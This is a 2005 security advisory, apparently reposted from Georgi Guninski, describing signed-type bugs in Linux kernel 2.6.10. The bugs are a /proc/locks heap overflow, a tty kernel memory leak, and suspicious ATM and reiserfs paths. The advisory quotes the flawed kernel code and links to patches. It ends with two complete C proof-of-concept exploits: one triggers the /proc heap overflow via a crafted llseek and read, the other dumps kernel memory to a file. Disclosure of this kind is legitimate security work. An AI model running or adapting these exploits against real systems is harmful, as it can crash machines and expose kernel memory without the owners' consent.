linux kernel 2.6 fun. windoze is a joke
Systems affected:
linux kernel 2.6.10, probably earlier 2.6.
2.4 not tested
Date: 15 February 2005
Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
[You must be registered and logged in to see this link.]Anything in this document may change without notice.
Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
There is misuse of signed types in 2.6, leading to buffer overflow and
reading kernel memory.
Details:
WDYBTGT3-1:
there is heap overflow in /proc in at least 2.6.10 and 2.6.11rc1-bk6 (
have not tested 2.4) on i386.
it is combination of:
1.
fs/proc/generic.c:63
proc_file_read(struct file *file, char __user *buf, size_t nbytes,
loff_t *ppos)
while ((nbytes > 0) && !eof) {
count = min_t(ssize_t, PROC_BLOCK_SIZE, nbytes);
(ssize_t) cast is the bug.
2.
proc_misc:
static int locks_read_proc(char *page, char **start, off_t off,
int count, int *eof, void *data)
{
the problem is "off_t off" which on i386 is long, while llseek uses loff_t
which is "long long".
so it is possible to land in locks_read_proc with both "count" and "off"
negative longs but with positive sum, which leads to overflow.
WDYBTGT3-2:
it is possible to read kernel memory on at least 2.6.10 and 2.6.11rc1 on
i386.
the problem is in drivers/char/n_tty.c
-----------------------
static inline int copy_from_read_buf(struct tty_struct *tty,
unsigned char __user **b,
size_t *nr)
ssize_t n;
n = min((ssize_t)*nr, n);
^^^^^^^^^
spin_unlock_irqrestore(&tty->read_lock, flags);
if (n) {
mb();
retval = copy_to_user(*b, &tty->read_buf[tty->read_tail], n);
^^^
WDYBTGT3-3:
have not been verified on real iron, but this codepath is suspicous:
net/atm/resources.c
int atm_dev_ioctl(unsigned int cmd, void __user *arg)
{
if (get_user(len, &sioc->length))
return -EFAULT;
case ATM_GETADDR:
error = atm_get_addr(dev, buf, len);
if (error < 0)
net/atm/addr.c
int atm_get_addr(struct atm_dev *dev,struct sockaddr_atmsvc __user *buf,int
size)
{
unsigned long flags;
struct atm_dev_addr *walk;
int total = 0, error;
if (copy_to_user(buf, tmp_buf, total < size ? total : size))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
WDYBTGT3-4:
have not been verified on real iron, but this codepath is suspicous:
fs/reiserfs/file.c:622
int reiserfs_copy_from_user_to_file_region(
...
int count = min_t(int,PAGE_CACHE_SIZE-offset,write_bytes);
page_fault = __copy_from_user(page_address(page)+offset, buf, count);
[dangerous only if sizeof(size_t) > sizeof(int) ]
WDYBTGT3-5:
Fix:
2.6.11-rc4 availabe at
[You must be registered and logged in to see this link.] fixes the "anomalies" and in
addition adds some checks at the vfs layer and copy_from_user.
Individual patches:
[You must be registered and logged in to see this link.]proggies:
/*
* copyright georgi guninski
* cannot be used in vulnerability databases like securityfocus and mitre
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/file.h>
#include <syscall.h>
#include <errno.h>
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh)
void makefiles()
{
int cou,fv;
char vn[242];
for(cou=0;cou<920;cou++)
{
snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
if (fv <0) perror("open2");
if (flock(fv,LOCK_EX) == -1) perror("flock");
}
while(42);
}
int main(int ac, char **av)
{
int fd,fv,i,cou;
void *mv;
char *he,*he2;
loff_t lr;
char c;
printf("\n\nThis may seriously screw your box\n\n");
printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
printf("Press 'Y' to run it\n");
read(0,&c,1);
if (c != 'Y') return 42;
cou=5;
printf("creating files...\n");
while(cou--)
if (!fork())
makefiles();
sleep(20);
printf("starting...\n");
system("sync");
fd=open("/proc/locks",O_RDONLY);
if (fd <0) perror("open");
he=malloc(1024*1024*8);
he2=malloc(1024*1024*8);
if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
i=read(fd,he2, 0x80004242);
perror("read");
printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
while(42);
return 42;
}
================================================================
/*
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases like security focus and mitre
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <term.h>
#include <sys/mman.h>
int main(int ac, char **av)
{
int fd,fv;
int cou=4242,i;
char *bu;
struct termios ti;
struct termios ol;
char zer[1024];
fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&ti,0,sizeof(ti));
fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);
if (fv <0 ) perror("open2");
/* how much to read in kilobytes*/
i=40*1024;
memset(zer,0,sizeof(zer));
while(i--) write(fv,zer,sizeof(zer));
bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv, 0);
if (-1 == (long) bu) perror("mmap");
printf("bu=%x\n",(int)bu);
if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");
ol=ti;
ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );
if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");
if (!fork())
{sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};
sleep(2);
cou=read(fd,bu,0x80000000);
printf("read=%d\n",cou);
perror("read");
if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");
printf("done. check 'kmem1'");
system("reset");
return 42;
}
--
And did you exchange a walk on part in the war for a lead role in a cage?